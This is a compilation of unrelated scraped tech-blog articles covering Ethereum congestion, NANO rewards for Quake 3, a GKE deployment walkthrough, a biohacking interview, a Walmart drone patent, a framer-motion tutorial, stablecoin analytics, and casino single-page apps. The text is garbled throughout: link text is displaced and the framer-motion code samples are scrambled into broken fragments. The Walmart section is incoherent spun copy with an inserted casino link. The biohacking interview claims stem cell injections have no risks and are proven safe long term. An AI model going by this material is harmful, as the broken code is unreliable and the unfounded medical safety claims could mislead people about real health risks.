If you’ve noticed a dramatic slowdown in the Ethereum network, you’re not alone. Here’s why it’s happening – and why it’s about to get a whole lot worse. The Ethereum network has become so jammed up lately that many transactions are taking hours – with occasional ones even taking days. The network has been hovering at, or near, capacity for some time. The culprit appears to be the Ethereum version of Tether (USDT-ETH) which now accounts for between 25% to 50% of the network’s usage. On Wednesday, the blockchain got flooded with 100,000 Tether transactions in around seven hours. At the time of writing, that figure had eased to 100,000 transactions in about 16 hours. USDT-ETH: The new Cryptokitties to Ethereum the controversial stablecoin is making a rapid transition from having the bulk of coins on the original Omni Layer version, to having them on the Ethereum one. Introduced early last year Coinmetrics recently wrote: The transition from USDT to USDT-ETH is happening relatively quickly, with USDT-ETH poised to surpass USDT in most major metrics over the coming months. This will make the network even more congested. Adding fuel to the fire, Tether has just launched a to run on Ethereum. Chinese Yuan version of the stablecoin Not all Tether’s fault It’s not all Tether’s fault – a decentralized gambling platform called FairWin is also gobbling up . huge amounts of capacity according to Gas Station Ethereum is also incredibly popular with many other DApp developers. Coinmetrics data shows the Ethereum blockchain regularly processes double the number of transactions as Bitcoin – around 600,000 to 700,000 a day. However, it’s processed many more in the past without grinding to a halt – it was doing around 1.4 million during the all-time high. Tokens gobble gas The difference in maximum transactions can be explained by the fact that tokens such as Tether gobble up more ‘gas’ than simple transaction do. Gas is essentially a unit that measures how much work an action, or series of actions, take – which is then charged accordingly for a transaction. The current limit of 8 million gas has not changed since January 2018 – around the time Tether moved in. We need more gas There are now calls for an increase in the “gas limit” – which will effectively increase the block size. To compare it to Bitcoin, which has a 1-2MB block size every ten minutes, Ethereum works out to around 800kb. For it to increase, the various mining pools will need to vote and agree on any change, although that doesn’t seem in their interests right now. Help is on the way A lot of the gas issues will be fixed in the upcoming Istanbul upgrade. Istanbul will open the doors for Ethereum 2.0 which will hopefully start solving the major scaling issues from early next year. Once there’s more capacity, what currently looks like “congestion” will instead look like “popularity.” Speaking in relation to Ethereum co-founder Vitalik Buterin’s comment that the blockchain is nearly full, eToro Senior Analyst : Mati Greenspan commented If the blockchain is almost full, uh, that means that a lot of people are still using it, right? So let’s not, let’s not lose sight of what’s happening.

Tether

Dapp

Read My Stories

[EXPLAINED] Why did Transactions on Ethereum Become Terribly Slow?

Quake and crypto fans rejoice! Now you can now earn NANO by playing the classic video game, Quake 3, right in your web browser. NanoQuakeJS is the brainchild of Twitter user and is available to play for free, tournament-style. @CommodoreAmig10 All players need to do is fill out the . A few instructions are listed as well: game registration form After registration, you will receive the link to play. The game will run [in your] browser. At the end of each round, players will receive NANO based on the damage they have caused during the game. Please note that NanoQuakeJS is in beta stage. How playing Quake 3 for NANO works @CommodoreAmig10’s form asks players to choose their in-game name, provide their NANO wallet address, and verify their humanity before they can play. From there, everything works surprisingly well, based on our testing. The application quickly transfers you into a match of Quake 3 with other players. There aren’t any menus to jump through or confusing setups – it’s just simple, classic gaming: you, a gun, and something to shoot at. This version of Quake 3 rewards players in NANO based on how much damage they do per game. I can vouch for this, having two transactions pending in my wallet – one for each match I played. According to the registration form, this version of Quake is a port of , a free engine based on Quake 3. ioquake3 That engine was then ported into Javascript for play on a web browser, called . QuakeJS There are a couple of different maps to play, each with their own weapons and layouts to master. However, it’s essential that players change their in-game name upon log-in to receive any rewards. Matches are in the free-for-all game mode and play until a player gets to 25 frags (kills). From there, a new round automatically starts. As for NANO, the cryptocurrency is meant to be a fast, fee-less, and scalable asset. The project has been around since 2015 and currently sits at the #44 cryptocurrency by market cap, according to . CoinMarketCap.com It works thanks to something called a Block Lattice, which essentially gives every NANO account its own blockchain in which to track transactions. That way, wallet holders aren’t competing for space on a main blockchain, but rather verifying transactions on their own personal blockchain. A forward push for crypto-gaming What’s most interesting about this project isn’t so much that it’s a game that rewards you in cryptocurrency. Those sorts of , especially on the Ethereum blockchain. for blockchain technology. games exist all over Esports is another popular avenue However, a good amount of those titles require an initial investment and are very simple games that require little to no involvement, like CryptoKitties. This Quake project instead adapts an old video game to new standards, asking nothing of the player aside from their participation. All they have to do is, well, play. A similar project called was released earlier this year that utilizes Quake 2. NanoQuake Unlike NanoQuakeJS, which is entirely free to play, NanoQuake requires that players pay a nominal entry fee to enter the tournament. Of course, the project is only in a beta state as of now, so who knows if @CommodoreAmig10 will expand support to reward players for wins and other statistics.

Twitter

How to Earn Crypto Playing by Playing Quake 3?

As a tech leader and developer, I like to focus my effort in writing code or  invest my efforts in architecting web software. I like to move fast from code to deploy, especially in the development process, and using great ui solution, such as Google's Cloud Kubernetes Engine is very useful for me, as I can avoid getting deep diving into DevOps orchestration. In this article I'll go thru on how to deploy a node containerized application to Google's Kubernetes Cluster using only the GKE UI. First we will need to create a GKE Cluster. Just login to google's cloud console and from the menu head to Kubernetes Engine -> Clusters. Before we can actually create the cluster, we'll need to wait for the Kubernetes Engine Api beeing enabled. Creating a Kubernetes Cluster Now we can hit the button and select our desired configuration. Google offer almost every preset needed to get started, either to play around or to set up a production ready high availability Kubernetes clusters. Create cluster We'll go with the default Standard Cluster. Select the Zone nearest to you and the Master version (higher the better), leave the rest with the default settings and hit the button. Create Google will now create the cluster for us. Meanwhile we can dockerize our node application. Node.Js Express App This is our simple express app that will display the request headers and the hostname in JSON: And this is Dockerfile we will use: To buid the image we will run docker build command with the your dockerhub repo: $ docker build -t alonronin/node-env . And push it to dockerhub's using the docker push command: $ docker push alonronin/node-env Creating a Deployment Now we can deploy it to our newly created cluster. To do that we will hit the button at the top. Deploy In the Container section let's choose existing image and enter our dockerhub's image and hit the button and after on the button to the Configuration section. Done Continue In the application name field we will enter our app name, node-env, scroll down to the button and press it. Deploy GKE will generate everything for us, it will create the with default of replicas and an autoscale (HPA) between . Deployment 3 1 - 5 Creating a Service Next we will need to create a service for the , let's click on the deployment and hit the expose . Deployment button The services will be exposed at port by default, but you can change that to any port you want, and we will need to tell it the target port of the container, which is in our express app listening port. 80 3000 Let's select Node Port as the service type and click the button. Expose Now that we have a we can configure it to receive a traffic from the web, we need to create an for it. Service Ingress Creating an Ingress Just select the service and click the button at the top. Create Ingress In the Host and path rules select our as the Backends service. Service In the Frontend configuration we will need to select the type of traffic from the web, let's select as the HTTP will be created by default. HTTPS We can create an SSL certificate by clicking from the Certificate drop down. Create a new certificate Let's choose certificate so it will issued and renewed automatically by google. Add the domain and the name for the certificate and click the button. Create Google-managed Create The google platform will create our and transfer traffic from Google's Load Balancers to our and from the to our and from there to our . Ingress Cluster Ingress Service Deployment When the Ingress is ready it will issue an IP address. We can create an record for our domain to that IP Address. A Check the certificate status Clicking on our Ingress and then on the Load Balancer Link, we can check out if our certificate is or . Active Provisioning This can take up until an hour, according to google's docs, so be patient. It's alive! Going to the domain we configured we can see everything is just fine and our express app is working as expected. Conclusion So we managed to create a Kubernetes cluster, ready for production, only by using the GKE UI. We accomplished to: Create docker image for our application and push it to Dockerhub's repo. Create a Kubernets Cluster Create a Deployment Create a Service Create an Ingress Create an auto managed SSL Certificate All of these actions can be done using the command line tool, by applying files configurations or creating a chart. kubectl yaml Helm If you have any question, suggestion or you find a mistake I've made, feel free to comment on it.

Google

Target

Deploy apps Fast with Google Kubernetes (GKE) UI

Image credit: Stock.Adobe.com In the past few years, you could stumble upon articles about how people are trying to improve their own health and bodies in ways that are not always customary. There was Jack Dorsey, his approach to fasting, former NASA employee Josiah Zayner was gene-editing technology - CRISPR - to upgrade his own DNA, while startup founder Serge Faguet was busy on "hacking" his body with drugs, clever gadgets, and new tech. explaining using spending $200k These examples are all part of a larger, ever more common  trend called biohacking. Biohackers are actively seeking a solution to improve their focus, confidence, intelligence, health, and, of course, life expectancy. These people want to become much more productive, more powerful, more intelligent, and live a very long life. What is the current state of biohacking? Can people really become superhumans? Who and what is responsible for biohacking and how can you control the risks while experimenting? I had the opportunity to discuss these questions with Sergey L. Mikheev, MD, PhD, Physician, Cardiologist, and Specialist in regenerative medicine at the clinical center, who is professionally involed in regenerative medicine and biohacking. Swiss Medica 21 *** How long has biohacking been around? And what has changed? The term "biohacking" emerged together with the concept of "DIY biology" in the late 1980s. After some time, in the mid-2000s, it got a second wind in the Silicon Valley tech community when entrepreneurs and engineers began the first experiments aimed at improving productivity and health. Now, biohacking is an actively developing trend. It is hip, especially in places like Silicon Valley. Biohacking is a collection of methods aimed at boosting humans’ physical, cognitive, and psychological parameters. Biohackers want to be more productive, and they want to slow down or even reverse the ageing process. They want to "hack" their bodies in order to become a more advanced and competitive life being. In fact, the biohacker's toolkit may already include some well-known tools like meditation or intermittent fasting. Many biohackers are also actively experimenting with anti-aging supplements, nootropics and other drugs. Extreme biohackers use cryotherapy, near-infrared saunas, and virtual float tanks. There are also so-called "grinders," who even implant high-tech devices like computer chips into their bodies to enhance its productivity. What could some of the real-life results of biohacking be? To talk about it, you should distinguish biohackers and other people that want to use science to enhance productivity, quality of life, fight aging. For example, there is a movement of transhumanists who advocate the development and implementation of sophisticated new tech that may be able to enhance the intellect (brain-computer integration) and physical parameters (via bionics) of all the people in the world. Unlike them, biohackers are working towards enhancing the capabilities of themselves only. They believe that by being more productive and healthier, they can bring more benefit to themselves as members of society. In the case of successful biohacking methods applications, the real-life results may be the increase of the human lifespan up to 100 years, while also being able to control some of biological processes in the human body. Are there any trends and developments in medicine that can be useful for biohacking? Regenerative medicine is the primary development. It is a branch of research in tissue engineering and molecular biology which deals with activating the body's ability to repair damaged tissues and organs. This involves using stem cells, which can trigger these regenerative processes with no possibility of severe side effects. These cells are the youngest in the body and have the most significant potential for development. Stem cells stimulate the recovery and update of all of the other tissue in the body. There are multiple ways of applying stem cells, including intravenous, intramuscular or local injections, depending on the purpose. This technique allows humans to become more vigorous in their approach, while it enhances sleep and stamina, and slows down or even reverses aging -  i.e., in some degree, it achieves many of the goals biohackers are targeting Wait, is this reverse aging idea even possible? Well, to answer this question, you need to understand what aging is from a biological point of view. It is a complex process involving changes in the intracellular and extracellular structures of the body. During the aging process, the functionality of cells responsible for recovery break down. Gradually, the body's cells do not working optimally, and the quality of their operations decreases. This influences all of the body's tissue and organs. It is known that, as we age, the reserves of the body's own stem cells responsible for regeneration are depleted. This process is currently unavoidable. However, we can inject the body with large amounts of stem cells to activate the body's ability to regenerate tissues and organs. This, in particular, leads to rejuvenation, endurance,  higher energy levels, better potency, etc. Also, stem cells can help boost the quality of sleep. You need less time to recover your power. The time you need to sleep therefore decreases, but you recuperate faster and better, and you do not want to sleep during the daytime. Okay. Let's assume I want to dive into biohacking. What should my first step be? You should start with a full check-up of your body. It is useful in any sense – you'll be aware of the current state of your health. For biohacking, you need to know the starting point to measure your results and effectiveness of any applied method. Plenty of biohacking methods have no evidentiary basis for now, so people are actually testing them. It is hard to predict the exact result, so you have to control and measure as many parameters, as well as the state of your body as regularly as possible. It is the only way to come up with a set of methods that work for each specific person. Besides a complete check-up, you will need to consult with several specialists (physicians, endocrinologists, neurologists, nutritionists, personal coaches, and so on). Then you can try to start with stem cells – you will need to go to a clinic specializing in cell-based treatments. The clinic should have a wide range of programs in order to be useful to the needs of biohackers. If the place offers additional complex therapies, this might be an advantage as well. Check for the availability of methods like: Intracellular Metabolism Recovery therapy (here is ), how it might look Xenon inhalation therapy, Hypoxi-hyperoxi therapy, Mesodiencephalic modulation (MDM), Plasmapheresis. These keywords will be useful in finding clinics that might be helpful for all biohacking needs. These additional therapies help to improve vitamin balance, trace element balance, and blood supply, ensure normal cellular respiration, normalize the hypothalamic-pituitary system, and improve cognitive functions. And how often can you use stem cells for biohacking needs? Can this be an ongoing process? Usually, an average lifespan of injected stem cells is about six months. However, the effect of stem cell therapy can last for up to one or two years. So, there is no sense in having injections more than once every six months. There are no risks: you can actually can this every few once days if you wanted to, and sometimes this is what you need to cure specific diseases. However, doing it this regularly makes  no sense in terms of biohacking, so once a year is perfect for getting sustainable, long-term results. Also, there is no such thing as addiction. Stem cells are not chemical. When stem cell therapy is provided, only biological, natural substances are used. It has been that there is no risk of long-term negative consequences in this therapy either. proven What is the main obstacle preventing more rapid biohacking development now? The major problem with biohacking is that it’s not affordable yet. T , posted by a biohacking advocate and tech entrepreneur, Serge Faguet, shows how much money you may spend on it — he put $200K into biohacking experiments prior to getting notable results. Still, you can start with a smaller investment, but even at the beginning, you have to undergo a thorough and costly check-up, do multiple tests, consult with several (expensive) medical professionals to come up with your own hacking plan. his article Sure, there are tools like specialized apps for biohackers which may help organize sleep (for example ) and control basic health parameters ( ), and mood ( ). But biohacking at full swing still requires massive investment. Sleep Cycle TrackMyStack HeadSpace Can you describe the typical biohacker nowadays? He or she obviously has money, but what else? Biohacking is about the quality of life, and this approach is used by those who understand that when you have energy and robust health, you can achieve better life results. So, usually, biohackers are successful people who value their time and personal productivity. Biohackers see the connection between personal productivity and their overall health. They believe their investments in health will have a positive ROI. These people actively follow tech and biotech news, analyze trends, and think about practical applications of the things they read about. You can safely bet that biohackers are ambitious: this is evident as they want to become better versions of themselves, stay positive, enjoy everyday communication with other people, and build stronger relationships. Could you share any advice on "responsible biohacking"? You should understand that biohacking is a pretty new discipline in terms of theresearch branch. Nowadays, there is not enough science-backed research proving the effectiveness of any method you might use as a part of your biohacking process. Yes, there are some cases with documented short-term positive effects, like or . However, no results of long-term studies are available at the moment. decreasing the risk of developing a disease reducing the symptoms of depression It is better to start with methods that have less possible side-effects, like stem cell injections, where there are no potential problems that have been documented. So, pick a clinic where you'll begin to your biohacking experience, and continuously monitor the results together with your doctors. So, can biohacking have side-effects? Well, it often involves using prescription-based drugs. These drugs can have side effects for sure. "Hackers" always act at their own risk. Anyone who has decided to upgrade himself to become smarter, more productive, and live longer should understand that experiments with health can bear risks. Even just dieting or going to the gym can lead to severe damage if the person is not healthy enough. So, experiments involving drugs and other things are even riskier. Let's talk about the future - do you think biohacking research and implementation will continue to grow? I believe that the possible future development of biohacking is directly connected to genetic engineering. If people find how they can experiment with DNA, it can have a dramatic impact on boosting health, cognitive abilities, anti-aging, and increasing quality of life. However, it is hard to expect any breakthroughs in this niche in the short term. Experiments with DNA are costly, and there is not enough research backing them up, so you can't predict the results, and the level of security is uncertain. While these problems are not being solved by genetic engineering, it will be safer to use a regenerative medicine toolkit for biohacking. This will become the primary trend in the next few years.

Adobe

Trace

[Interview] Medical Expert Explains Biohacking, Its Future, and the Safest Way to Boost Yourself

Walmart has been trending lately. Their relevance appears to stem from the Walmart shares of the progress being made on blockchain technology. The inclusion of drones and unmanned aerial vehicles was just a tip of the iceberg. Read on to learn how. page seeks to take a look into the implication of Walmart shares and their indulgence into the blockchain-based drone shares systems that have been skyrocketing year after year. Since the winter of 2019, in January to be precise, the United States retail heavyweight Walmart shares have been punching an equivalent of her weight in the respected and complex field of drone shares. It caught only a few by surprise actually when Walmart shares filed for their application dumped 'Cloning Drones Using Blockchain.' Their keen interest and mastery of the gameplay in this particular specialty of shares have always been incredible. This website The application, by Walmart shares, duly put up in the United States Patent and Trademark Office (USPTO), was then very shortly after followed through a patent that was published in August. The operational mechanism that Walmart described is quite impressive. Although under normal circumstances, it would require high tech interpretation and scientific words to explain, the basics are quite understandable. The drone has inbuilt application software that encrypts the said drone’s parameters. It then stores them and shares this particular piece of information on to another drone. The subsequent drone then has the decrypt the message, read it, and configure to the stipulated parameters. The Walmart Distribution System Reportedly, Walmart blockchain has a framework that is ideally designed to transmit information regarding the drones. This particular information includes but is not limited to the identification number, the heights of the speed and route of the flight, and even the battery information of the particular drones. The ability of Walmart distribution system to share this locational data to the rest of the drones means that the drones could be programmed to avoid collisions in midair. More importantly, the whereabouts of another drone is possible to follow up with this information at disposal, within the ranks of Walmart shares. Deriving context from the patent’s report, Walmart computer systems distribution blockchain shares has one super advantage over all other similar technologies previously developed. And that is the irreplaceable and tamper-proof data integrity. Safeguarding data, especially in instances where it has to be transferred through several devices, presents a case of sincere trust in the system at Walmart shares. And notable, no hacking and no data loss has been reported. This is very practicable. The share of high-risk information among several drones requires that similar software systems apply in all the cloned drones. This data can effectively be stored in the software in any format, waiting to be shared. The Walmart shares price has never had better relief in years. Even more impressive is the fact that in the same winter of 2017, Walmart shares made other inroads into the high tech sites. It is reported that at around that time, Walmart had even sought after patents for several applications, including drone package delivery systems based on the blockchain. The day that the people of Walmart shares chose to apply for the patent for digital currency is the same day that the UAV (unmanned aerial vehicle) blockchain-based coordination system for share was also put in place. Although on paper, it is like Walmart replicate the duties, the functionality has been customized to fit the specific tasks. Most of them are tailored to the delivery service end, with the ability to share a range of different information. Blockchain solutions for drones at Walmart stock had been at sea for quite a period. This is not to conclusively say that Walmart have been fully unmasked and everything is at the ready, but at least positive progress has been made on that front. As Cointelegraph reported, Walmart shares had a patent application filed with the USPTO back in May 2017. In this particular one, the system was branded "Unmanned Aerial Delivery to Secure Location." The Walmart Investors The Walmart investor relations are a brief summation of the notable output. Coordination has also been an important use. This blockchain technology has been vital in the integration of information, share and management of fronts that call for order and organization. Moreover, communication has been regarded as a significant output from Walmart’s share piece of technological craft as well. The system encrypts data, usually on a particular ledger. From here, operational parameters have been programmed to be spelled out and executed in an uncompromised state. One of the most notable and memorable contributions of this piece of shares to transit safety was witnessed about the beginning of this year. A three-pronged partnership of the American Food and Drug Administration (FDA), the IBM and Walmart were tentatively constituted. It had a primary purpose all the same. Several pharmaceutical shipments were dispatched and blockchain shares used to track them. Just imagine if these happened daily. The world would be free of the rampant corruption that seeks to appraise itself and take sides if at all, there was no tracking. All these ventures into the tech world may appear like cubs when compared to arguably the greatest of all time. In the interest of blockchain-based shares, the father of Walmart London (with the ) made a foray into the much-admired yet relatively unexplored cryptocurrency. This venture came about with the inbuilt ability to becoming a digital currency. As we are at the moment, a patent application has already been submitted by Walmart. Who knows, maybe the origin of digital currency was earmarked Walmart all along, and no one cared to pull the tag and read. best online casinos IBM has also ventured into the business of blockchain-based drone operations. The IBM Walmart blockchain has its eyes now on secure drone operations. The storage and sharing of information on blockchain shares are imperative. Conclusion The trend has been a staircase for Walmart shares as Walmart look for more ways to be more productive. The blockchain-based drone system is a big business priority to invest, given the fast rate of transmission of information. Tracking, tracing, and keeping records are all ways in which the blockchain drone shares has boost the large scale retailer that is Walmart. The booming of the business can almost singlehandedly be attributed to the growth spurt in the uptake of the blockchain-based shares. Have you interacted with any drone-based blockchain shares? Please let us know in the comment section below. Author's Bio: Thomas Glare is one of the most renowned writers of technology based pieces. With his vast experience in the field of robotics, he has taken to educate millions of people about their various applications in the world today, with drones being a pivotal point of his discussions.

Super

Transit

Walmart Files a Patent Application for Blockchain Based Drone System

is a library that powers animations in , and it’s now available as an independent package that we can use in React applications. It has a very simple declarative API that makes it easy to create and orchestrate complex animations with the minimal amount of code. In this article, we’ll start with very basic animations and gradually move to the more advanced ones. Framer-motion Framer Note: animation examples in the article may not look smooth because of a low frame rate of GIF images. Rest assured, real animation are butter-smooth . You can play with them in the sandbox here . Setup We can start with framer-motion by simply installing it with command. yarn add framer-motion To animate elements, we’ll need to ditch primitive HTML elements ( , , , etc.) in favor of their “motion-infused” counterparts - , , , etc. These elements expose the properties that we’ll need to add our animations. div span path motion.div motion.span motion.path Get things moving To create the simplest animation, we can specify property that accepts an object with CSS properties that we want to animate. This is how we can animate opacity and background color of the : animate div { motion } ; One = (
  <motion.div
    className= animate={{
      opacity: ,
      background: }}
  />
); import from "framer-motion" const => () "rectangle" 0.5 "#ff00b1" The properties that we pass to represent the of the animation. Framer-motion will infer the initial state based on the specified CSS properties, or their defaults. For example, default opacity for CSS elements is (even if we don’t set it explicitly), so framer-motion knows how to animate it down to . animate final state 1 0.5 We can also set the initial values of animatable CSS properties using prop. It also accepts an object with CSS properties that will tell framer-motion what initial values should be like. In the example below, we fade in the rectangle by animating and properties: initial y opacity Two = (
  <motion.div
    className= initial={{
      opacity: ,
      y: }}
    animate={{
      opacity: ,
      y: }}
  />
); const => () "rectangle" 0 50 1 0 It’s worth mentioning that property is special - it’s not a real CSS property, but framer-motion understands it. There are a bunch of CSS -related properties that have shortcuts in framer-motion, so when we change property, we actually apply animation to property. Similarly, there are , , , and some other properties, you can find the complete list . y transform y transform: translateY() scale rotate scaleX scaleY here Animating state changes The animations that we’ve done so far only run when components mount. Now let’s see how we can animate elements when some internal state changes. We can set property to different values based on the internal state, and framer-motion will animate between those values when the state changes: animation Three = { [active, setActive] = React.useState( ); (
    <motion.div
      className= animate={
        active
          ? { background: , rotate: }
          : { background: , rotate: }
      }
      onClick={ setActive(!active)}
    >
      Click me!
    < const => () const false return "rectangle" "#ff00b1" 90 "#0D00FF" 0 => () /motion.div>
  );
}; Note that the component re-renders only when state changes, and not on every animation frame, which makes animations very efficient. Variants The real power of framer-motion comes from using . Let’s start by exploring how we can rewrite the previous example to use variants. variants We’ll begin by extracting inline definition of animatable properties from prop into a separate object. This object will contain key-value pairs, where keys are some meaningful names that we give to our animatable properties, and values are the properties themselves. Then we can pass this object to variants prop, and inside we can toggle animations based on the string names we gave to them: animate variants animation Four = { [active, setActive] = React.useState( ); rectangle: Variants = {
    active: { background: , rotate: },
    disabled: { background: , rotate: }
  }; (
    <motion.div
      className= variants={rectangle}
      animate={active ? : }
      onClick={ setActive(!active)}
    >
      Click me!
    < const => () const false const "#ff00b1" 90 "#0D00FF" 0 return "rectangle" "active" "disabled" => () /motion.div>
  );
}; This example works, but it’s not very useful. The power of variants is in orchestrating complex animations throughout a component tree, and to see that, we’ll need a slightly bigger example. In the example below, we have a container that has three child s inside of it. Container uses the same animation that we’ve seen before: div div div onClick Five = { container: Variants = {
    active: {
      background: },
    disabled: {
      background: }
  }; [active, setActive] = React.useState( ); (
    <motion.div
      variants={container}
      animate={active ? : }
      onClick={ setActive(!active)}
      className= >
      {[ , , ].map( (
        <div key={value} className= />
      ))}
    < const => () const "#ff00b1" "#0D00FF" const false return "active" "disabled" => () "container" 0 1 2 => value "box" /motion.div>
  );
}; Now we can animate children elements simultaneously with the parent by setting their own variants object. If the descriptive names of child animations match those of the parent, child animations will be triggered when parent animation is triggered. Notice how both and variants have the same keys and : container box active disabled Six = () => { container: Variants = {
    active: { : ,
    },
    disabled: { : }
  }; : Variants = {
    active: { : ,
      opacity: },
    disabled: { : ,
      opacity: }
  }; [active, setActive] = React.useState( ); (
    <motion.div
      variants={container}
      animate={active ? : }
      onClick={() => setActive(!active)}
      className= >
      {[ , , ]. (value => (
        <motion.div ={value} className= variants={ } />
      ))}
    </motion.div>
  );
}; const const background "#ff00b1" background "#0D00FF" const box rotate 90 1 rotate 0 0.7 const false return "active" "disabled" "container" 0 1 2 map key "box" box Configuring variants Variants also allow us to orchestrate the child animations. We can do that by providing property inside the animation object. transition For example, we can set children property, which specifies the delay in seconds between child animations: staggerChildren const container: Variants = { { , { }
  }, { }
}; active: background: "#ff00b1" transition: staggerChildren: 0.5 disabled: background: "#0D00FF" Note how transition is applied only when we transition . Since we defined property inside variant, the stagger animation is only applied when we transition from , but not when we transition from to . into a given variant transition active disabled into active active disabled By default, variants start animating parent element and its children at the same time. We can control that behavior using property. We can set it to to make parent element animate first, or to , to make parent element animate after its children: when beforeChildren afterChildren const container: Variants = { { , { , }
  }, { }
}; active: background: "#ff00b1" transition: staggerChildren: 0.5 when: "beforeChildren" disabled: background: "#0D00FF" With this configuration, the parent changes background color first, and then child elements rotate with a staggered delay. div There are a lot more properties of variants that we can control - animation delays, stagger direction, etc. You can find more information on them in framer-motion . documentation Wrapping up In this article, we’ve seen how easy it is to animate React components using declarative API that framer-motion provides. However, we just scratched the surface, since there’s a lot more that framer-motion is capable of - gestures, dragging, working with SVG paths and much more. If you’re interested in learning more - that will cover all the cool things that framer-motion has to offer. subscribe for my upcoming course

The Sandbox

BUNCH

Get framer-motion course

Here's How You can Animate React with Framer Motion

Stablecoins are one of the most relevant developments in the crypto ecosystem and one that has been increasingly getting traction. Recently, I presented a session that highlighted some interesting analyses that arise from applying data science methods on stablecoin’s blockchain data. The slide deck and video from the session will be available soon but I thought I share some of the most intriguing data points. At a high level, stablecoins can be divided in three main categories: 1. This type of stablecoins is typically pegged to a fiat currency or other real world assets. Projects such as Tether or TrueUSD as examples of stablecoins backed by fiat currencies while tokens such as Digix Global represent a commodity backed stablecoin. Fiat-Backed Stablecoins: 2. This type of stablecoins are backed by pools of crypto-assets. Typically, crypto-collateralized stablecoins tend to over-collateralized in order to address market volatility. Projects like Maker are notorious examples in this category. Crypto-Collateralized Stablecoins: 3. This type of stablecoins are not backed by any real-world or cryptocurrency asset, and instead it maintains value by people expecting it will maintain a certain value. The most-common non-collateralized method is seigniorage shares which uses smart contracts that automatically expand and contract the supply of the non-collateralized stablecoin using algorithms to maintain its value. Projects like Carbon are relevant examples of this category. Non-Collateralized: In the current market, fiat-based stablecoins are the dominant class while projects like Maker have achieved meaningful traction as crypto-collateralized stablecoins. Non-collateralized stablecoins remain highly experimental at this point. Despite the popularity of some of these projects, we know very little about their underlying behavior. Let’s look at some data points about fiat and crypto collateralized stablecoins that might surprise you. 5 Surprising Analytics About Fiat-Collateralized Stablecoins 1)Investors Have Lost Money with Stablecoins Stablecoins supposed to trade around a fixed value($1) so its strange that people would lost money while trading this asset. reveals that some investors have bought fiat-backed stablecoins at drastically higher levels than its base price. Let’s look at the following analysis for Tether and TrueUSD. IntoTheBlock’s In-Out Money analysis 2)Stablecoin Networks are not Growing Despite its increasing popularity, most fiat-backed stablecoin networks are not growing and, in some cases, they are shrinking as its revealed by . The following figures illustrates this phenomenon for Tether and Gemini Dollar. IntoTheBlock’s Address analysis 3)Most Stablecoins are Not Used for Large Transactions with the Exception of Tether Large transactions is always a good indicator of the health of a crypto-asset. reveals that most fiat-backed stablecoins are not seeing a lot of large transaction activity with the exception of Tether as shown in the following figures: IntoTheBlock’s Large Transaction analysis 4)Despite its Global Adoption, Most Fiat-Based Stablecoins are More Popular Outside Asia shows that most fiat-backed stablecoins remain more popular in western countries. A few months ago, Tether saw a tremendous level of adoption in Asia but that was overshadowed by a spike in adoption in western countries. The following figure shows the East-West analysis for Gemini Dollar and Tether. IntoTheBlock’s East-West analysis 5)Daily Activity Outside Tether is Still Relevant Even though Tether is by far the most dominant fiat-backed stablecoins, there is plenty of daily activity in other projects in this category. The following figure is the daily transaction graph of TrueUSD generated by . IntoTheBlock 5 Surprising Analysis About Crypto-Collateralized Stablecoins 1)Some Investor Have Lost Money with Dai Similarly to fiat-backed stable coins, for Dai reveals that some investors have acquired the stablecoin at values way above $1. IntoTheBlock’s In-Out Money analysis 2)Dai is Growing Contrasting with the shrinking behavior of the networks behind fiat-backed stablecoins, the Dai network has been growing at a very impressive pace as its shown by IntoTheBlock’s . Address Stats analysis 3)Large Transactions in Dai are not Consistent shows an inconsistent pattern when comes to Dai as shown in the following figure. IntoTheBlock’s Large Transaction analysis 4)Dai Has Been More Adopted Outside Asia In a somewhat surprising note, Dai has seen better levels of adoption in western countries than in Asia. highlights this pattern. IntoTheBlock’s East-West analysis 5)Dai’s Daily Trasaction Activity is Impressive If you saw TrueUSD’s daily transaction graph was solid, look at reveals about Dai’s daily activity. IntoTheBlock These are just some of the interesting facts about stablecoins that we have seen by exploring the IntoTheBlock platform. More interesting analysis to come soon.

Maker

TrueUSD

Some Shocking Data Analyses About Stablecoins

What makes a great user experience in gambling and in general? The smoothness of interaction with whatever it is. If we talk about online experience, everything must load fast and require only the minimum of clicks to do the necessary action. In the old days of web development the tools for creating web pages were very limited. If we talk about online casinos, smooth user experience motivates users to stay longer and play more. Anyway, this can be said about any other type of site, but for online casinos it’s especially important. Nowadays, the whole casino site can be developed in the form of a single page. That’s called the single page application (SPA). What is a SPA is a web application or web site, that fits on a single web page with dynamic actions without refreshing the page. It interacts with the user and rewrites the current page dynamically, not requesting anything from a server. This way it acts more like the desktop application - users don’t get interrupted between successive pages, they don’t have to wait, and it makes them like the site more. In a single page application, all necessary code, written in HTML, javascript, or CSS, is received with a single page load. You are using this type of application every day. For example, Gmail, Google Maps, Facebook, Trello or Slack. Alternatively, all necessary pieces are dynamically loaded to be added to the page, in response to actions of users. Scripts allow to imitate the natural environment in the browser, that doesn’t require extra wait time. The page loads the scripts and the scripts afterwards load all other content. In case of a gambling site, these additional pieces are the additional games. Anyway, the interaction with the web server always happens behind the scenes, without the user noticing. Also, a single page application, or even a multitude of them, can be included within a larger traditional web application. A single page application SPAs are all about serving an outstanding UX, trying to imitate a “natural” environment in the browser — no page reloads, no extra wait time. It is just one web page that you visit which then loads all other content using JavaScript — which they heavily depend on. Single page can interact with users without using server side. It can improve user experience in several ways, it has faster loading time, easy navigation. The AJAX technology allows creating pages with content filters and complex yet simple navigation. The most popular AJAX frameworks, which are used in most single page casinos are , Ember.js, Meteor.js, Knockout.js. AJAX allows requesting the markup and data independently and renders pages straight in the browser. That allows keeping the user in one comfortable place, where the user receives all the content they need. AngularJS On the other hand, multiple page applications work in a “traditional” way. Every change eg. display the data or submit data back to server requests rendering a new page from the server in the browser. These applications are large, bigger than SPAs because they need to be. Due to the amount of content, these applications have many levels of UI. Luckily, it’s not a problem anymore. Thanks to AJAX, we don’t have to worry that big and complex applications have to transfer a lot of data between server and browser. That solution improves and it allows refreshing only particular parts of the application. On the other hand, it adds more complexity and it is more difficult to develop than a single-page application. Slowly, single page apps replace the old desktop applications, because they are easily accessed and are more convenient, do not require installation. Of course, the mobile devices, and mobile applications begin to dominate the market, but the amount of single page applications is still growing. Why? Here is the list of their pros and cons. Pros SPAs are good for making responsive websites, which support mobile, tablet and desktop resolutions. They allow creating the complex scenarios of interaction with users. No extra requests to the server, so the server load is definitely lesser in SPA case Allows to create user friendly applications Improvement of performance. Single page applications require all HTML, CSS and JS scripts to be loaded only once. Cons: Users must allow the execution of javascript applications in their browsers, so if it’s disallowed, an user won’t see the app. At the same time, in all modern browsers javascript is enabled by default. Single page applications are less secure compared to regular pages due to cross-site scripting (XSS). Memory leaks in javascript can cause the most powerful systems to slow down. This can happen even with the small scripts in casino 